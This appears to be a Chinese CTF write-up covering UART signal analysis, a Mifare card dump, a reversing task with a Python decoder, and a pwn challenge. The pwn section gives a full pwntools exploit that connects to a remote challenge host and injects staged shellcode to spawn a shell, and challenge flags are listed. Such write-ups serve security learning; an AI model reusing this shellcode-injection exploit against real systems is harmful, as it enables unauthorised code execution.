Hardware
uart-mystery
一台 Harmony 守护主机正在广播神秘信息,公开频道中你能听到一段不断重复的系统广播,但真正的秘密,却藏在信号之下的“细语”之中。
“有些声音并不是为所有耳朵准备的。”
你获得了一段捕捉到的串口通信记录(配合逻辑分析仪或串口数据流)。打开监听工具,分析信号,在那些杂音间,找出唯一属于你的那个节奏。只有调准频率,才能听懂隐藏在电流中的低语。
注:建议使用串口分析工具(如 Logic, Saleae, minicom, pyserial 等)观察和尝试不同通信参数。
给了.sal文件,搜索后发现saleae logic可以用于分析串口数据,记录逻辑信息,所以将.sal拖入,然后导入Analyser,由于有meta.json,配置就有了
找到flag
flag{w3c10me::openharmony::init}
A Mysterious Card
010editor bad misc,脑筋急转弯,打开.nfc文件可以看到相关联的信息,Mifare Classic型号,对下面的十六进制010editor看一下就有
上下两端根据前半段提示的 structure_of_mifare_card进行筛选拼接,去掉block的标识行(rv..)后拼接即可
flag{enma5t3r1ng_s7ruc7ur3_0f_m1far3_card_pXLFOtFJuiKCkbPhNPzV}
reverse
easyre
用abc-decompiler反编译
flag由hint1与magic组成,在obj3中有,动态
两部分分别用了不同的算法
magic使用了base64算法的解密然后进行字符串反转
hint1则使用了自定义加减反转字符串运算
hint1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
def transform_hint(original_hint):
step1 = ''.join([chr(ord(c) + len(original_hint)) for c in original_hint])
step2 = step1[::-1]
step3 = ''.join([chr(ord(step2[i]) - i) for i in range(len(step2))])
transformed = step3[::-1]
return transformed
def main():
original_hint = "tlfr`llakodZVS^RaWQSP"
transformed_hint = transform_hint(original_hint)
print(f"decoded hint: {transformed_hint}")
if __name__ == "__main__":
main()
|
然后拼接一下即可
Pwn
minishell
跑QEMU我在arch /mnt下专门放了挂载用盘,然后sudo mount ./userdata.img /mnt/disk_nan0in 就搞定了
ida里可以看到调用cat的时候可以输shellcode(或者你跑起来以后指令一个个尝试一下)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
from pwn import *
filename = './pwn'
# libc = './libc.so.6'
context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]
def VIO_TEXT(x):
return f"\x1b[95m{x}\x1b[0m"
# io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
io = remote("61.147.171.107", 42110)
# gdb.attach(io)
def se(data):
return io.send(data)
def sa(delim, data):
return io.sendafter(delim, data)
def sl(data):
return io.sendline(data)
def sla(delim, data):
return io.sendlineafter(delim, data)
def rc(num):
return io.recv(num)
def rl():
return io.recvline()
def ru(delims):
return io.recvuntil(delims)
def uu32(data):
return u32(data.ljust(4, b"\x00"))
def uu64(data):
return u64(data.ljust(8, b"\x00"))
def ia():
return io.interactive()
def get_64():
return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
def get_32():
return u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
sl("cat")
payload = asm("""
mov rsi,rdi
xor rdi,rdi
mov rdx,0x100
xor rax,rax
syscall
""")
print(payload)
sl(payload)
log.success(VIO_TEXT("read second shellcode"))
payload = b'\xEB\x00'*0x10+asm("""
mov rsp,0x100000000
add rsp,0x800
""")+asm(shellcraft.sh())
sl(payload)
io.interactive()
|